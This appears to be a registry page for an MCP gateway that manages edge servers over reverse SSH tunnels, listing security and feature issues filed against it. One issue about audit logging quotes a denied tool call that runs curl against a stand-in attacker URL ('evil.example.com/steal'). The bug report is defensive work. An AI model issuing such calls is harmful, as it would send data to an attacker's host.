Myrmex Hive MCP Server

Zero-inbound-port MCP gateway for managing distributed edge servers over reverse SSH tunnels

Publisher claimed. No tool list reported, and Pod has not connected to this server.

Status

Pod has not dialled Myrmex Hive yet, so everything on this page is what its publisher reported rather than what we observed. Registries describe servers; they do not connect to them. Until a check runs, treat the tool list below as a claim.

Connect

Published as ghcr.io/olafkfreund/myrmex-gateway:1.0.3 on oci. Runs locally.

Known issues

24 problems reported by people outside the maintainer team. Issues filed by the project's own owners, members and collaborators are excluded — those are release checklists and internal refactors, not things that will go wrong for you. Showing 12.

Most discussed

Alert webhook has no auth (bearer/custom headers) or TLS control

Problem

alert_webhook_url (#100) POSTs alerts to an arbitrary endpoint with no authentication. There is no field for a bearer token or custom headers, so the only way to authenticate today is to smuggle a secret into the URL itself — which then lands in config, logs and error messages.

Documented as a known gap in docs/OBSERVABILITY.md:

No auth on the webhook yet. There is no field for a bearer token or custom headers, so point alert_webhook_url at an endpoint that either do

Read the thread · 2026-07-14 · closed · 1 comment

Tenant isolation / per-tenant token namespaces

Problem

Today all tokens and agents share one flat namespace, so the gateway cannot safely serve multiple tenants (MSP use case).

Acceptance

Introduce a tenant dimension: tokens, agents, and tool access scoped per tenant.
A tenant cannot see or call another tenant's agents/tools.
Backward-compatible: single implicit tenant when multi-tenancy is not configured.

Read the thread · 2026-07-02 · closed · 1 comment

Submit server.json to the public MCP registry

Problem

Myrmex Hive is a working MCP server but is not discoverable in the public MCP registry.

Acceptance

Author/validate a server.json describing the gateway MCP server.
Submit to the public MCP registry and document the process.
CI check keeps server.json valid against the registry schema.

Read the thread · 2026-07-02 · closed · 1 comment

[Epic] Operational Polish & DX

Summary

Gaps in health checks, versioning, branding consistency, install method, and MCP-ecosystem distribution. This epic tracks operational-polish and developer-experience work to make Myrmex Hive production-friendly and easy to adopt.

Child issues

#54 — Unauthenticated /healthz and /readyz endpoints
#60 — --version / build info in all binaries
#65 — Fix branding/module-path consistency
#68 — Installer pulls released binaries instead of compiling on target

Read the thread · 2026-07-02 · closed · 1 comment

Constant-time token comparison

Problem: Bearer token validation used == comparison, exposing a timing side-channel. Acceptance: Token comparison uses subtle.ConstantTimeCompare.

Read the thread · 2026-07-02 · closed · 1 comment

Most recent

Audit log records DENIED tool calls as status=success

What

A tool call refused by the agent's allowlist is written to the signed audit log as:

{"action":"api_call","command":"run_command {\"name\":\"curl\",\"args\":[\"-s\",\"--max-time\",\"3\",\"http://evil.example.com/steal\"]}","status":"success","details":"Tool execution completed"}

status: success, details: Tool execution completed — for a call that never executed.

Why it matters

The refusal happens agent-side; the gateway only sees that the round trip completed,

Read the thread · 2026-07-21 · closed · 0 comments

Full OIDC/JWKS token validation (native)

Problem

Gateway auth maps static bearer tokens to roles. Enterprise SSO requires validating real OIDC-issued JWTs natively, not just trusting a proxy header.